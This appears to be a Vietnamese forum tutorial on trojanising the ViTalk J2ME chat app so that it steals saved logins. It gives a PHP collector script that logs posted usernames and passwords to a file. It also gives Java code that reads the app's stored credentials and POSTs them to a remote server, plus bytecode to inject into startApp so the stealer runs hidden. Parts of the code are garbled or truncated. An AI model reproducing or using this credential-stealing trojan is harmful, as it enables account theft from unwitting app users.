Đầu tiên là tạo 1 server gồm 3 file.
Tất nhiên là phải reg host vào qlí tập tin.Tạo 1 lập tin là post.html chèn đoạn html này vào
[text">[/text">
tiếp theo tạo tập tin save.php
Mã:
$fp=fopen("login.txt",a)or exit("khong tim thay file can mo");
$nick=$_POST['taikhoan'">;
$pass=$_POST['matkhau'">;
fwrite$fp,"TK:".$nick.";
fclose($fp);
echo "hacked!";
?>
cuối cùng tạo file có tên login.txt vậy là có 1 server chuối2 đủ xài
cuối cùng là dùng J2me SDK MB để tạo 1 file class cho vào game, soft.
Lấy ví dụ trên phần mềm chat ViTalk.viết class tên là x0 (vd thế).
import javax.microedi*ion.io.*;
import java.io.*;
import javax.microedi*ion.rms.*;
public class x0 implements Runnable{
ViTalk main;
public x0(ViTalk main){
this.main=main;
}
public void start(){
new Thread(this).start();
}
public void run(){
try{
HttpConnection hc=(HttpConnection)Connector.open"http:;
DataOutputStream dos=hc.openDataOutputStream();
hc.setRequestMethod(HttpConnection.POST);
hc.setRequestProperty0;
String["> list=RecordStore.listRecordStores();
RecordStore rd=RecordStore.openRecordStore(list[1">,false);
int id=rd.getNextRecordID();
for0{
byte["> tk=new byte[rd.getRecordSize(i)">;
rd.getRecord(i,tk,0);
String nick=new String(tk,0,tk.length);
dos.write("taikhoan=.getBytes());
dos.write(urlEncode(nick).getBytes-8);
}
RecordStore rd2=RecordStores.openRecordStore(list[2">,false);
int id2=rd2.getNextRecordID();
for0{
byte["> mk=new byte[rd2.getRecordSize(j)">;
rd2.getRecord(j,mk,0);
String pass=new String(mk,0,mk.length);
dos.write("&matkhau=.getBytes());
dos.write(urlEncode(pass).getBytes-8);
}
dos.write("&subm=Them".getBytes());
dos.flush();
dos.close();
hc.close();
}catch(Exception e){}
}
public String urlEncode(String input){
StringBuffer sb=new StringBuffer();
char c;
for(int i=0;i
c=input.charAt(i);
sb.append(c);
}
return sb.toString();
}
}
preverify quẳng vào game. Mở file ViTalk.class bằng ByteCode Edi*or=> method startApp
thêm đoạn này vào mã:new x0
dup
aload_0
invokespecial x0/(LViTalk;)V
invokevirtual x0/start()V
Xong .chúc các bạn thành công hihi